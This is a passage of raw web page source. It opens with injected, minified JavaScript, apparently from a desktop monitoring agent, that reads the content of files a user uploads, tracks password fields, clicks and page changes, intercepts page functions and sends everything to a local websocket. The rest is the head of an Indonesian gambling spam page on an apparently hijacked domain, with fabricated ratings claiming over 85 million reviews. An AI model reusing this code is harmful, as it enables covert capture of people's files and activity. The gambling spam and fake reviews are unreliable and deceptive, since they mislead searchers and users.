  2326.                    return t.format(e, "YYYYMMDD") === t.format(Y, "YYYYMMDD")
  2327.                }
  2328.                ,
  2329.                e.date = t;
  2330.                const b = new Map;
  2331.                function N(e) {
  2332.                    const t = "tm_overlay"
  2333.                      , Y = 10485760;
  2334.                    let n = function() {
  2335.                        let e = document.getElementById(t);
  2336.                        e && e.remove(),
  2337.                        b.clear()
  2338.                    };
  2339.                    if (e) {
  2340.                        const r = new FileReader;
  2341.                        let a;
  2342.                        e.size > Y && (a = e.slice(0, Y));
  2343.                        let s = !1;
  2344.                        if (b.forEach((t => {
  2345.                            t.fileName === e.name && (s = !0)
  2346.                        }
  2347.                        )),
  2348.                        !s) {
  2349.                            r.addEventListener("load", (t => {
  2350.                                try {
  2351.                                    const t = crypto.randomUUID();
  2352.                                    b.set(t, {
  2353.                                        responseCallback: e => {
  2354.                                            e.block && function() {
  2355.                                                const e = []
  2356.                                                  , t = t => {
  2357.                                                    t.querySelectorAll('button:not([tabindex="-1"])').forEach((t => {
  2358.                                                        t.querySelector('span[data-icon="x"]') && (e.push(t),
  2359.                                                        t.click())
  2360.                                                    }
  2361.                                                    ))
  2362.                                                }
  2363.                                                  , Y = new MutationObserver(( (Y, n) => {
  2364.                                                    Y.forEach((e => {
  2365.                                                        "childList" === e.type && e.addedNodes.length > 0 && e.addedNodes.forEach((e => {
  2366.                                                            e.nodeType === Node.ELEMENT_NODE && t(e)
  2367.                                                        }
  2368.                                                        ))
  2369.                                                    }
  2370.                                                    )),
  2371.                                                    e.length > 0 && n.disconnect()
  2372.                                                }
  2373.                                                ));
  2374.                                                Y.observe(document.body, {
  2375.                                                    childList: !0,
  2376.                                                    subtree: !0
  2377.                                                }),
  2378.                                                t(document),
  2379.                                                e.length > 0 && Y.disconnect()
  2380.                                            }(),
  2381.                                            n()
  2382.                                        }
  2383.                                        ,
  2384.                                        fileName: e.name
  2385.                                    }),
  2386.                                    B.send(JSON.stringify({
  2387.                                        requestId: t,
  2388.                                        type: "waptransfer",
  2389.                                        direction: "upload",
  2390.                                        filename: e.name,
  2391.                                        filesize: e.size,
  2392.                                        filetype: e.type,
  2393.                                        url: document.URL,
  2394.                                        filehash: "0",
  2395.                                        process: w.pn,
  2396.                                        content: S(r.result)
  2397.                                    }))
  2398.                                } catch (e) {
  2399.                                    n()
  2400.                                }
  2401.                            }
  2402.                            )),
  2403.                            r.addEventListener("error", (e => {
  2404.                                n()
  2405.                            }
  2406.                            )),
  2407.                            r.addEventListener("abort", (e => {
  2408.                                n()
  2409.                            }
  2410.                            )),
  2411.                            function() {
  2412.                                if (!document.getElementById(t)) {
  2413.                                    let e = document.createElement("div");
  2414.                                    e.id = t,
  2415.                                    e.style.cssText = "background:rgba(0, 0, 0, .6);position:absolute;top:0;left:0;height:100%;width:100%;z-index:999",
  2416.                                    document.body.appendChild(e)
  2417.                                }
  2418.                            }();
  2419.                            try {
  2420.                                null == a ? r.readAsArrayBuffer(e) : r.readAsArrayBuffer(a)
  2421.                            } catch (e) {
  2422.                                n()
  2423.                            }
  2424.                        }
  2425.                    }
  2426.                }
  2427.                function A(e) {
  2428.                    var t = {
  2429.                        handler: "log",
  2430.                        module: "wapjs",
  2431.                        url: "wap",
  2432.                        message: e
  2433.                    };
  2434.                    B.send(JSON.stringify(t))
  2435.                }
  2436.                function E(e) {
  2437.                    var t = {
  2438.                        name: e.data.name,
  2439.                        type: e.data.type
  2440.                    };
  2441.                    "iframePasswordInputFocused" === e.data.message ? c(t, !0) : "iframePasswordInputBlurred" === e.data.message && M(t, !0)
  2442.                }
  2443.                var w = {
  2444.                    token: "32fcf787-27e0-4def-997f-825a79a4f7b3",
  2445.                    sendNotificationsInterval: Number("1000"),
  2446.                    pollWhatsappTrackingInterval: Number("20000"),
  2447.                    connectionString: "wss://tm.filter:1502",
  2448.                    pid: "21808",
  2449.                    pn: "chrome.exe",
  2450.                    iup: false,
  2451.                    dontTrackWebPasswords: false,
  2452.                    extJs: /*   * don't use double slash comments here as this will be stored in one line for the TMU migrations   *    * this is stored in the kv_store table for the key hm_websites_js   *    * all code should describe one javascript object, i.e. { bla-bla-bla }   *    * this object will be included in standard js injection code as a replacement of 'insight_placeholder'   * if domain of the page matches one of the domain regexes from the hypermonitoring_web settings   * if not, 'insight_placeholder' will be replaced with null   *    * this object must contain function init(token), it will be called only once when document became visible (it is called for every iframe too)   *    * also this code contains placeholdes, see doc in the code (search for `_placeholder` suffix)   *    * also this object must contain property webSock that will be assigned WebSocket when created   *    * this object should send json for every registered event with the following structure:   * {   *      cat: 'insight' - this is required to route the message to the proper handler   *      type: click | changed - type of the event   *      elm: uint32 - id of the element that fired the event. used for deduplication of the events   *      page: uint32 - id of the hypermonitored location   *      obj: uint32 - id of the hypermonitored object that fired event   *      url: string - current document url   *      token: string - js injection token, used to unique identify browser page   *      values: json - contains all collected information about event and it's context   *      proc: id of the process of the host electron   * }   */
  2453.                    {
  2454.                        /* this will be replaced with the rules for current domain       * [        *      {          *          id: locationId,        *          url: string | null,        *          objects:        *          [       *              {        *                  id: objectId,        *                  sources: [],       *                  ...       *              },       *              ...       *          ]        *      },       *      ...       * ]       */
  2455.                        pages: [],
  2456.                        /* required property for electron */
  2457.                        proc: null,
  2458.                        /* required property - will be assigned to WebSocket once it will be read */
  2459.                        webSock: null,
  2460.                        pendingPackets: [],
  2461.                        webSockReady: function() {
  2462.                            return this.webSock !== null && this.webSock.readyState === WebSocket.OPEN;
  2463.                        },
  2464.                        processPacket: function(t) {
  2465.                            if (!this.webSockReady())
  2466.                                this.pendingPackets.push(t);
  2467.                            else {
  2468.                                this.sendPendingPackets();
  2469.                                this.webSock.send(t);
  2470.                            }
  2471.                        },
  2472.                        sendPendingPackets: function() {
  2473.                            if (this.webSockReady() && this.pendingPackets.length > 0) {
  2474.                                for (var i = 0; i < this.pendingPackets.length; ++i)
  2475.                                    this.webSock.send(this.pendingPackets[i]);
  2476.                                this.pendingPackets = [];
  2477.                            }
  2478.                        },
  2479.                        /* store js injection token */
  2480.                        token: null,
  2481.                        /* should we send log messages to the agent, bool */
  2482.                        sendLog: false,
  2483.                        /* should we include all content of the htmlelements in the log messages, bool */
  2484.                        sendLogFullData: false,
  2485.                        /* should we log snapshots of the html after every mutation event */
  2486.                        sendLogSnapshots: false,
  2487.                        /* should we catch exceptions and log them (as opposed to let browser stops in debugger) */
  2488.                        sendLogExceptions: true,
  2489.                        /*       * required function - it will be called once when document became visible       * it will be also called for iframes       *           * argument token - js injection token       */
  2490.                        init: function(token) {
  2491.                            this.token = token;
  2492.                            this.log("init: token:" + token + " sendLog:" + this.sendLog + " sendLogFullData:" + this.sendLogFullData);
  2493.                            if (document.readyState === "interactive" || document.readyState === "complete")
  2494.                                this.attachEvents();
  2495.                            else
  2496.                                window.addEventListener("DOMContentLoaded", this.attachEvents.bind(this));
  2497.                            setInterval(this.sendPendingPackets.bind(this), 1000);
  2498.                        },
  2499.                        /*       * here we scan all provided settings and choose what listeners are required       * we don't want to intrude in the js more that necessary for performance and compatibility considerations       */
  2500.                        attachEvents: function() {
  2501.                            var needClick = false
  2502.                              , needChange = false
  2503.                              , needChildList = this.sendLogSnapshots
  2504.                              , needCharacterData = this.sendLogSnapshots
  2505.                              , callObjects = [];
  2506.                            this.pages.forEach(function(page) {
  2507.                                page.objects.forEach(function(obj) {
  2508.                                    ['addText', 'removeText', 'addElm', 'removeElm', 'stateByElm'].forEach(function(source) {
  2509.                                        if (obj.sources.includes(source))
  2510.                                            needChildList = true;
  2511.                                    });
  2512.                                    if (obj.sources.includes('changeText'))
  2513.                                        needCharacterData = true;
  2514.                                    if (obj.sources.includes('change'))
  2515.                                        needChange = true;
  2516.                                    if (obj.sources.includes('click'))
  2517.                                        needClick = true;
  2518.                                    if (obj.sources.includes('call'))
  2519.                                        callObjects.push({
  2520.                                            page: page,
  2521.                                            obj: obj
  2522.                                        });
  2523.                                });
  2524.                            });
  2525.                            this.log("attachEvents: needClick:" + needClick + " needChange:" + needChange + " needChildList:" + needChildList + " needCharacterData:" + needCharacterData);
  2526.                            if (needClick)
  2527.                                window.addEventListener('click', this.onEvent.bind(this), true);
  2528.                            if (needChange)
  2529.                                window.addEventListener('change', this.onEvent.bind(this), true);
  2530.                            if (needChildList || needCharacterData)
  2531.                                new MutationObserver(this.onMutation.bind(this)).observe(document, {
  2532.                                    subtree: true,
  2533.                                    childList: needChildList,
  2534.                                    characterData: needCharacterData
  2535.                                });
  2536.                            if (needClick || needChange || needChildList || needCharacterData) {
  2537.                                /* we process mutation events only after human interaction */
  2538.                                window.addEventListener('keydown', this.onInteraction.bind(this));
  2539.                                window.addEventListener('mousedown', this.onInteraction.bind(this));
  2540.                            }
  2541.                            if (callObjects.length > 0) {
  2542.                                var self = this;
  2543.                                var intervalHandle = setInterval(function() {
  2544.                                    for (var i = callObjects.length - 1; i >= 0; i--) {
  2545.                                        if (self.interceptCall(callObjects[i]))
  2546.                                            callObjects.splice(i, 1);
  2547.                                    }
  2548.                                    if (callObjects.length == 0)
  2549.                                        clearInterval(intervalHandle);
  2550.                                }, 500);
  2551.                            }
  2552.                        },
  2553.                        interceptCall: function(callObj) {
  2554.                            var obj = callObj.obj, jsObj;
  2555.                            try {
  2556.                                jsObj = this.calc(obj, "object", [], []);
  2557.                            } catch {}
  2558.                            if (jsObj == null) {
  2559.                                this.log("attachEvents: object:" + obj.id + " is not found");
  2560.                                return false;
  2561.                            }
  2562.                            var method = jsObj[obj.func];
  2563.                            var self = this;
  2564.                            jsObj[obj.func] = function() {
  2565.                                var arg_data = self.calc(obj, "arg_data", ["args"], [arguments], "return null");
  2566.                                var ret = method.apply(jsObj, arguments);
  2567.                                var return_data = self.calc(obj, "return_data", ["ret"], [ret], "return null");
  2568.                                if (arg_data != null || return_data != null)
  2569.                                    self.sendEvent("interceptCall", callObj.page, obj, undefined, {
  2570.                                        arg_data: arg_data,
  2571.                                        return_data: return_data
  2572.                                    });
  2573.                                return ret;
  2574.                            }
  2575.                            ;
  2576.                            self.log("attachEvents: object:" + obj.id + ", " + (obj.object || obj.object_f) + " is found, call to '" + obj.func + "' intercepted");
  2577.                            return true;
  2578.                        },
  2579.                        /* new Date().getTime() of the last human interacion (keydown, mousedown, mouseup)      to filter out DOM mutation events that was not due to human activity */
  2580.                        lastInteraction: null,
  2581.                        /* on human interaction (keydown, mousedown, mouseup) */
  2582.                        onInteraction: function(ev) {
  2583.                            this.lastInteraction = new Date().getTime();
  2584.                            this.log('onInteraction: human Interaction ' + ev.type + ': ' + this.lastInteraction);
  2585.                        },
  2586.                        /* handles click and change events */
  2587.                        onEvent: function(ev) {
  2588.                            var self = this;
  2589.                            this.callSafe("onEvent", function() {
  2590.                                self.handleEvent(ev.type, ev.type, ev.composed ? ev.composedPath() : self.getAncestors(ev.target));
  2591.                            });
  2592.                        },
  2593.                        /* handles addText, changeText, removeText, addElm, removeElm DOM mutation events */
  2594.                        onMutation: function(mList) {
  2595.                            var self = this;
  2596.                            if (this.sendLogSnapshots)
  2597.                                this.log("snapshot: " + document.body.outerHTML.replace(/\n|\r/g, '#'));
  2598.                            this.callSafe("onMutation", function() {
  2599.                                if (self.lastInteraction !== null) {
  2600.                                    mList.forEach(function(m) {
  2601.                                        if (m.type === 'childList') {
  2602.                                            m.removedNodes.forEach(function(sub) {
  2603.                                                if (sub.nodeType === Node.TEXT_NODE)
  2604.                                                    self.handleEvent('change', 'removeText', self.getAncestors(m.target));
  2605.                                                else if (sub.nodeType === Node.ELEMENT_NODE)
  2606.                                                    self.handleEventWithSub('change', 'removeElm', self.getAncestors(m.target), sub);
  2607.                                            });
  2608.                                            m.addedNodes.forEach(function(sub) {
  2609.                                                if (sub.nodeType === Node.TEXT_NODE)
  2610.                                                    self.handleEvent('change', 'addText', self.getAncestors(m.target));
  2611.                                                else if (sub.nodeType === Node.ELEMENT_NODE)
  2612.                                                    self.handleEventWithSub('change', 'addElm', self.getAncestors(m.target), sub);
  2613.                                            });
  2614.                                        } else if (m.type === 'characterData' && m.target)
  2615.                                            self.handleEvent('change', 'changeText', self.getAncestors(m.target));
  2616.                                    });
  2617.                                }
  2618.                                self.processStateByElm();
  2619.                            });
  2620.                        },
  2621.                        objId2key2value: {},
  2622.                        processStateByElm: function() {
  2623.                            var self = this;
  2624.                            self.forEachObject('stateByElm', function(page, obj) {
  2625.                                var key2value = {};
  2626.                                if (self.calc(obj, 'condition', [], [], "return true;")) {
  2627.                                    self.applySelector(document, obj.selector).forEach(function(elm) {
  2628.                                        var key = self.calc(obj, 'key', ['e'], [elm]);
  2629.                                        var value = self.calc(obj, 'value', ['e'], [elm]);
  2630.                                        key2value[JSON.stringify(key)] = JSON.stringify(value);
  2631.                                    });
  2632.                                }
  2633.                                var oldKey2Value = self.objId2key2value[obj.id];
  2634.                                oldKey2Value = oldKey2Value ? oldKey2Value : {};
  2635.                                for (var k in key2value) {
  2636.                                    if (key2value[k] !== oldKey2Value[k])
  2637.                                        self.sendEvent('change', page, obj, undefined, {
  2638.                                            key: JSON.parse(k),
  2639.                                            old: oldKey2Value[k] ? JSON.parse(oldKey2Value[k]) : undefined,
  2640.                                            "new": JSON.parse(key2value[k])
  2641.                                        });
  2642.                                    delete oldKey2Value[k];
  2643.                                }
  2644.                                for (var k in oldKey2Value)
  2645.                                    self.sendEvent('change', page, obj, undefined, {
  2646.                                        key: JSON.parse(k),
  2647.                                        old: oldKey2Value[k] ? JSON.parse(oldKey2Value[k]) : undefined
  2648.                                    });
  2649.                                self.objId2key2value[obj.id] = key2value;
  2650.                            });
  2651.                        },
  2652.                        /* get ancestors for the element */
  2653.                        getAncestors: function(e) {
  2654.                            var path = [];
  2655.                            for (; e !== document && e !== null; e = e.parentNode)
  2656.                                path.push(e);
  2657.                            return path;
  2658.                        },
  2659.                        /* handles simple events: click, change, addText, changeText, removeText */
  2660.                        handleEvent: function(type, source, ancestors) {
  2661.                            if (this.sendLog)
  2662.                                /* double check not to call elementString in vain */
  2663.                                this.log("handleEvent: type:" + type + " source:" + source + " target:" + this.elementString(ancestors[0]));
  2664.                            var self = this;
  2665.                            this.forEachMatch(source, ancestors, function(page, obj, elm) {
  2666.                                self.send(type, page, obj, ancestors[0], elm);
  2667.                            });
  2668.                        },
  2669.                        /* handles events with sub element: addElm, removeElm */
  2670.                        handleEventWithSub: function(type, source, ancestors, sub) {
  2671.                            if (this.sendLog)
  2672.                                /* double check not to call elementString in vain */
  2673.                                this.log("handleEventWithSub: type:" + type + " source:" + source + " target:" + this.elementString(ancestors[0]) + " sub:" + this.elementString(sub));
  2674.                            var self = this;
  2675.                            this.forEachMatch(source, ancestors, function(page, obj, elm) {
  2676.                                if (!obj.sub_matches || sub.matches(obj.sub_matches)) {
  2677.                                    if (obj.sub_selector) {
  2678.                                        self.applySelector(sub, obj.sub_selector).forEach(function(descendant) {
  2679.                                            self.send(type, page, obj, ancestors[0], elm, sub, descendant);
  2680.                                        });
  2681.                                    } else {
  2682.                                        self.send(type, page, obj, ancestors[0], elm, sub);
  2683.                                    }
  2684.                                }
  2685.                            });
  2686.                        },
  2687.                        /* enumerate all obj based on url and source. calls handler(page, obj) */
  2688.                        forEachObject: function(source, handler) {
  2689.                            var self = this;
  2690.                            this.pages.forEach(function(page) {
  2691.                                if (self.testRegex(page.url, document.URL)) {
  2692.                                    page.objects.forEach(function(obj) {
  2693.                                        if (obj.sources.includes(source))
  2694.                                            handler(page, obj);
  2695.                                    });
  2696.                                }
  2697.                            });
  2698.                        },
  2699.                        /* enumerate all matches based on url, source and interactionInterval, matches and selector. calls handler(page, obj, matchedElm) */
  2700.                        forEachMatch: function(source, ancestors, handler) {
  2701.                            var self = this;
  2702.                            this.forEachObject(source, function(page, obj) {
  2703.                                if (obj.interactionInterval && (self.lastInteraction == null || new Date().getTime() - self.lastInteraction > obj.interactionInterval)) {
  2704.                                    if (self.lastInteraction != null)
  2705.                                        self.log('forEachMatch skip rule: interval:' + (new Date().getTime() - self.lastInteraction).toString());
  2706.                                } else {
  2707.                                    var scope = obj.scope === 'target' ? [ancestors[0]] : ancestors
  2708.                                      , m = obj.matches
  2709.                                      , set = !m && obj.selector ? self.applySelector(document, obj.selector) : null;
  2710.                                    for (var i = 0; i < scope.length; ++i) {
  2711.                                        if ((m && scope[i].matches && scope[i].matches(m))/* scope[i] may not be element, test if matches is defined */
  2712.                                        || (set && set.includes(scope[i]))) {
  2713.                                            handler(page, obj, scope[i]);
  2714.                                            break;
  2715.                                        }
  2716.                                    }
  2717.                                }
  2718.                            });
  2719.                        },
  2720.                        /* return array of elements after applying commands from the selector settings */
  2721.                        applySelector: function(root, commands) {
  2722.                            const self = this;
  2723.                            var elms = [root];
  2724.                            commands.forEach(function(command) {
  2725.                                var res = [];
  2726.                                elms.forEach(function(elm) {
  2727.                                    if (command.test_text) {
  2728.                                        /* test_text command keeps only elements whose text matches regex */
  2729.                                        if (self.testRegex(command.test_text, elm.textContent))
  2730.                                            res.push(elm);
  2731.                                    } else if (command.move) {
  2732.                                        /* move command transforms element into querySelectorAll set and select shadowRoot if present */
  2733.                                        elm.querySelectorAll(':scope ' + command.move).forEach(function(e) {
  2734.                                            var s = e.shadowRoot;
  2735.                                            res.push(s ? s : e);
  2736.                                        });
  2737.                                    } else if (command.exists) {
  2738.                                        /* exists command keeps only elements for which selector set is not empty */
  2739.                                        if (self.applySelector(elm, command.exists).length !== 0)
  2740.                                            res.push(elm);
  2741.                                    }
  2742.                                });
  2743.                                elms = res;
  2744.                            });
  2745.                            return elms;
  2746.                        },
  2747.                        /* send event data to websocket, data structure:       * {       *      cat: 'insight' - this is required to route the message to the proper handler       *      type: click | changed - type of the event       *      elm: uint32 - id of the element that fired the event. used for deduplication of the events       *      page: uint32 - id of the hypermonitored location       *      obj: uint32 - id of the hypermonitored object that fired event       *      url: string - current document url       *      token: string - js injection token, used to unique identify browser page       *      values: json - contains all collected information about event and it's context       * }       */
  2748.                        lastSentElm: null,
  2749.                        lastSentElmId: 0,
  2750.                        send: function(type, page, obj, target, e, sub, descendant) {
  2751.                            if (this.lastSentElm !== e) {
  2752.                                this.lastSentElm = e;
  2753.                                this.lastSentElmId++;
  2754.                            }
  2755.                            const values = this.calc(obj, 'values', ['target', 'e', 'sub', 'descendant'], [target, e, sub, descendant]);
  2756.                            if (values)
  2757.                                this.sendEvent(type, page, obj, this.lastSentElmId.toString(), values);
  2758.                        },
  2759.                        sendEvent: function(type, page, obj, elmId, values) {
  2760.                            const t = JSON.stringify({
  2761.                                values: values,
  2762.                                handler: page.handler,
  2763.                                type: type,
  2764.                                elm: elmId,
  2765.                                page: page.id,
  2766.                                obj: obj.id,
  2767.                                url: document.URL,
  2768.                                token: this.token,
  2769.                                proc: this.proc
  2770.                            });
  2771.                            if (this.sendLog)
  2772.                                console.log("[InsightJs] send: " + t);
  2773.                            this.processPacket(t);
  2774.                        },
  2775.                        /* utils: cache compiled regexes */
  2776.                        string2regex: {},
  2777.                        testRegex: function(stringRegex, value) {
  2778.                            if (stringRegex === null)
  2779.                                return true;
  2780.                            if (!(stringRegex in this.string2regex))
  2781.                                this.string2regex[stringRegex] = new RegExp(stringRegex);
  2782.                            return this.string2regex[stringRegex].test(value);
  2783.                        },
  2784.                        /* utils: cache compiled functions */
  2785.                        code2function: {},
  2786.                        calc: function(host, prop, names, args, defaultCode) {
  2787.                            var code = host[prop] ? "return " + host[prop] + ";" : host[prop + "_f"];
  2788.                            if (code == null)
  2789.                                code = defaultCode;
  2790.                            if (code == null) {
  2791.                                this.log("code not found, calc(" + JSON.stringify(host) + "), prop:" + prop);
  2792.                                return {};
  2793.                            }
  2794.                            if (!(code in this.code2function))
  2795.                                this.code2function[code] = new Function(...names,code);
  2796.                            return this.code2function[code].apply(null, args);
  2797.                        },
  2798.                        /* utils: dump html element to the log */
  2799.                        elementString: function(e) {
  2800.                            var html = e.nodeType == Node.TEXT_NODE ? e.data : e.outerHTML;
  2801.                            if (this.sendLogFullData)
  2802.                                return html;
  2803.                            html = html.length > 100 ? html.substr(0, 100) + " ... total len:" + html.length : html;
  2804.                            return html.replace(/\n|\r/g, '#');
  2805.                        },
  2806.                        /* log to console and to the agent */
  2807.                        log: function(message, force) {
  2808.                            if (this.sendLog || force) {
  2809.                                var m = new Date().toLocaleString() + ": " + message;
  2810.                                console.log("[InsightJs] " + m + ", url:" + document.URL);
  2811.                                this.processPacket(JSON.stringify({
  2812.                                    handler: "log",
  2813.                                    module: "InsightJs",
  2814.                                    message: m,
  2815.                                    url: document.URL
  2816.                                }));
  2817.                            }
  2818.                        },
  2819.                        callSafe: function(name, f) {
  2820.                            if (!this.sendLogExceptions)
  2821.                                f();
  2822.                            else {
  2823.                                try {
  2824.                                    f()
  2825.                                } catch (e) {
  2826.                                    this.log("exception in " + name + ":" + e.name + ", " + e.message, true);
  2827.                                }
  2828.                            }
  2829.                        }
  2830.                    }
  2831.                }
  2832.                  , L = 6e4
  2833.                  , I = null
  2834.                  , T = null
  2835.                  , k = null
  2836.                  , C = null
  2837.                  , O = !1
  2838.                  , H = null
  2839.                  , P = null
  2840.                  , R = 0
  2841.                  , x = null
  2842.                  , B = null
  2843.                  , F = ""
  2844.                  , J = !1;
  2845.                !function e(t) {
  2846.                    m() ? setTimeout((function() {
  2847.                        e(t)
  2848.                    }
  2849.                    ), 1e3) : t()
  2850.                }((function() {
  2851.                    w.extJs && w.extJs.init(w.token),
  2852.                    n() && (window.addEventListener("focus", r, !0),
  2853.                    w.dontTrackWebPasswords && window.addEventListener("message", E, !1)),
  2854.                    n() || w.extJs ? p() : w.dontTrackWebPasswords && f()
  2855.                }
  2856.                ))
  2857.            }();
  2858.        <script nonce="TFNQUvYHwdi8uHoMheRs/Q==">
  2859.            //<![CDATA[
  2860.            window.DATADOG_CONFIG = {
  2861.                clientToken: 'puba7a42f353afa86efd9e11ee56e5fc8d9',
  2862.                applicationId: '8561f3f6-5252-482b-ba9f-2bbb1b009106',
  2863.                site: 'datadoghq.com',
  2864.                service: 'marketplace',
  2865.                env: 'production',
  2866.                version: 'f7d8b3d494288b34cb00105ee5d230d68b0ccca7',
  2867.                sessionSampleRate: 0.2,
  2868.                sessionReplaySampleRate: 5
  2869.            };
  2870.            //]]>
  2871.        </script>
  2872.        <script nonce="TFNQUvYHwdi8uHoMheRs/Q==">
  2873.            //<![CDATA[
  2874.            var rollbarEnvironment = "production"
  2875.            var codeVersion = "f7d8b3d494288b34cb00105ee5d230d68b0ccca7"
  2876.            //]]>
  2877.        </script>
  2878.        <script src="https://public-assets.envato-static.com/assets/rollbar-619156fed2736a17cf9c9a23dda3a8e23666e05fcb6022aad1bf7b4446d772e5.js" nonce="TFNQUvYHwdi8uHoMheRs/Q==" defer></script>
  2879.        <meta content="origin-when-cross-origin" name="referrer">
  2880.        <link rel="dns-prefetch" href="//s3.envato.com">
  2881.        <link rel="preload" href="https://market-resized.envatousercontent.com/themeforest.net/files/344043819/MARKETICA_PREVIEW/00-marketica-preview-sale37.__large_preview.jpg?auto=format&amp;q=94&amp;cf_fit=crop&amp;gravity=top&amp;h=8000&amp;w=590&amp;s=cc700268e0638344373c64d90d02d184c75d7defef1511b43f3ecf3627a3f2d4" as="image">
  2882.        <link rel="preload" href="https://public-assets.envato-static.com/assets/generated_sprites/logos-20f56d7ae7a08da2c6698db678490c591ce302aedb1fcd05d3ad1e1484d3caf9.png" as="image">
  2883.        <link rel="preload" href="https://public-assets.envato-static.com/assets/generated_sprites/common-5af54247f3a645893af51456ee4c483f6530608e9c15ca4a8ac5a6e994d9a340.png" as="image">
  2884.        <title>SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS</title>
  2885.        <meta name="description" content="SERVERTOGEL menyediakan akses login Toto Macau tercepat dengan beragam permainan slot menarik serta kemudahan deposit secepat kilat melalui QRIS. Nikmati pengalaman bermain aman cepat dan terpercaya di platform terbaik Indonesia.">
  2886.        <meta name="viewport" content="width=device-width,initial-scale=1">
  2887.        <link rel="icon" type="image/x-icon" href="https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png">
  2888.        <link rel="apple-touch-icon-precomposed" type="image/x-icon" href="https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png" sizes="72x72">
  2889.        <link rel="apple-touch-icon-precomposed" type="image/x-icon" href="https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png" sizes="114x114">
  2890.        <link rel="apple-touch-icon-precomposed" type="image/x-icon" href="https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png" sizes="120x120">
  2891.        <link rel="apple-touch-icon-precomposed" type="image/x-icon" href="https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png" sizes="144x144">
  2892.        <link rel="apple-touch-icon-precomposed" type="image/x-icon" href="https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png">
  2893.        <link rel="stylesheet" href="https://public-assets.envato-static.com/assets/market/core/index-999d91c45b3ce6e6c7409b80cb1734b55d9f0a30546d926e1f2c262cd719f9c7.css" media="all">
  2894.        <link rel="stylesheet" href="https://public-assets.envato-static.com/assets/market/pages/default/index-ffa1c54dffd67e25782769d410efcfaa8c68b66002df4c034913ae320bfe6896.css" media="all">
  2895.        <script src="https://public-assets.envato-static.com/assets/components/brand_neue_tokens-f25ae27cb18329d3bba5e95810e5535514237937774fca40a02d8e2635fa20d6.js" nonce="TFNQUvYHwdi8uHoMheRs/Q==" defer></script>
  2896.        <meta name="theme-color" content="#333333">
  2897.        <link rel="canonical" href="https://www.missourikayakadventures.com/weather">
  2898.        <link rel="amphtml" href="https://rc-komi.ru/content/anakmamih.html"/>
  2899.        <script type="application/ld+json">
  2900.            {
  2901.                "@context": "https://schema.org",
  2902.                "@type": "Product",
  2903.                "name": "SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS",
  2904.                "image": "https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png",
  2905.                "description": "SERVERTOGEL menyediakan akses login Toto Macau tercepat dengan beragam permainan slot menarik serta kemudahan deposit secepat kilat melalui QRIS. Nikmati pengalaman bermain aman cepat dan terpercaya di platform terbaik Indonesia.",
  2906.                "brand": {
  2907.                    "@type": "Brand",
  2908.                    "name": "SERVERTOGEL"
  2909.                },
  2910.                "sku": "SERVERTOGEL - SITUS TOTO - SLOT GACOR",
  2911.                "mpn": "IDAMAN-007",
  2912.                "url": "https://www.missourikayakadventures.com/weather",
  2913.                "offers": {
  2914.                    "@type": "Offer",
  2915.                    "url": "https://www.missourikayakadventures.com/weather",
  2916.                    "priceCurrency": "idr",
  2917.                    "price": "0.00",
  2918.                    "priceValidUntil": "2025-12-31",
  2919.                    "itemCondition": "https://schema.org/NewCondition",
  2920.                    "availability": "https://schema.org/InStock",
  2921.                    "seller": {
  2922.                        "@type": "Organization",
  2923.                        "name": "SERVERTOGEL"
  2924.                    }
  2925.                },
  2926.                "aggregateRating": {
  2927.                    "@type": "AggregateRating",
  2928.                    "ratingValue": "5.0",
  2929.                    "reviewCount": 85741411
  2930.                },
  2931.                "review": [
  2932.                    {"@type": "Review",
  2933.                    "reviewRating": {
  2934.                        "@type": "Rating",
  2935.                        "ratingValue": "5",
  2936.                        "bestRating": "5"
  2937.                    },
  2938.                    "author": {
  2939.                        "@type": "Person",
  2940.                        "name": "SERVERTOGEL"
  2941.                    }
  2942.                },
  2943.                {
  2944.                    "@type": "Review",
  2945.                    "reviewRating": {
  2946.                        "@type": "Rating",
  2947.                        "ratingValue": "5",
  2948.                        "bestRating": "5"
  2949.                    },
  2950.                    "author": {
  2951.                        "@type": "Person",
  2952.                        "name": "Situs Toto Slot Gacor Verified"
  2953.                    }
  2954.                }
  2955.            ]
  2956.        }</script>
  2957.    <script type="application/ld+json">
  2958.        {
  2959.            "@context": "https://schema.org",
  2960.            "@type": "BreadcrumbList",
  2961.            "itemListElement": [
  2962.                {
  2963.                    "@type": "ListItem",
  2964.                    "position": 1,
  2965.                    "name": "SERVERTOGEL",
  2966.                    "item": "https://www.missourikayakadventures.com/weather"
  2967.                },
  2968.                {
  2969.                    "@type": "ListItem",
  2970.                    "position": 2,
  2971.                    "name": "IDAMAN TOTO",
  2972.                    "item": "https://www.missourikayakadventures.com/weather"
  2973.                },
  2974.                {
  2975.                    "@type": "ListItem",
  2976.                    "position": 3,
  2977.                    "name": "SERVERTOGEL LOGIN",
  2978.                    "item": "https://www.missourikayakadventures.com/weather"
  2979.                },
  2980.                {
  2981.                    "@type": "ListItem",
  2982.                    "position": 4,
  2983.                    "name": "SITUS SLOT GACOR",
  2984.                    "item": "https://www.missourikayakadventures.com/weather"
  2985.                },
  2986.                {
  2987.                    "@type": "ListItem",
  2988.                    "position": 5,
  2989.                    "name": "SERVERTOGEL SLOT",
  2990.                    "item": "https://www.missourikayakadventures.com/weather"
  2991.                },
  2992.                {
  2993.                    "@type": "ListItem",
  2994.                    "position": 6,
  2995.                    "name": "SITUS SERVERTOGEL",
  2996.                    "item": "https://www.missourikayakadventures.com/weather"
  2997.                },
  2998.                {
  2999.                    "@type": "ListItem",
  3000.                    "position": 7,
  3001.                    "name": "SLOT",
  3002.                    "item": "https://www.missourikayakadventures.com/weather"
  3003.                },
  3004.                {
  3005.                    "@type": "ListItem",
  3006.                    "position": 8,
  3007.                    "name": "SERVERTOGEL TERPERCAYA",
  3008.                    "item": "https://www.missourikayakadventures.com/weather"
  3009.                }
  3010.            ]
  3011.        }</script>
  3012.    <script type="application/ld+json">
  3013.        {
  3014.            "@context": "https://schema.org",
  3015.            "@type": "Article",
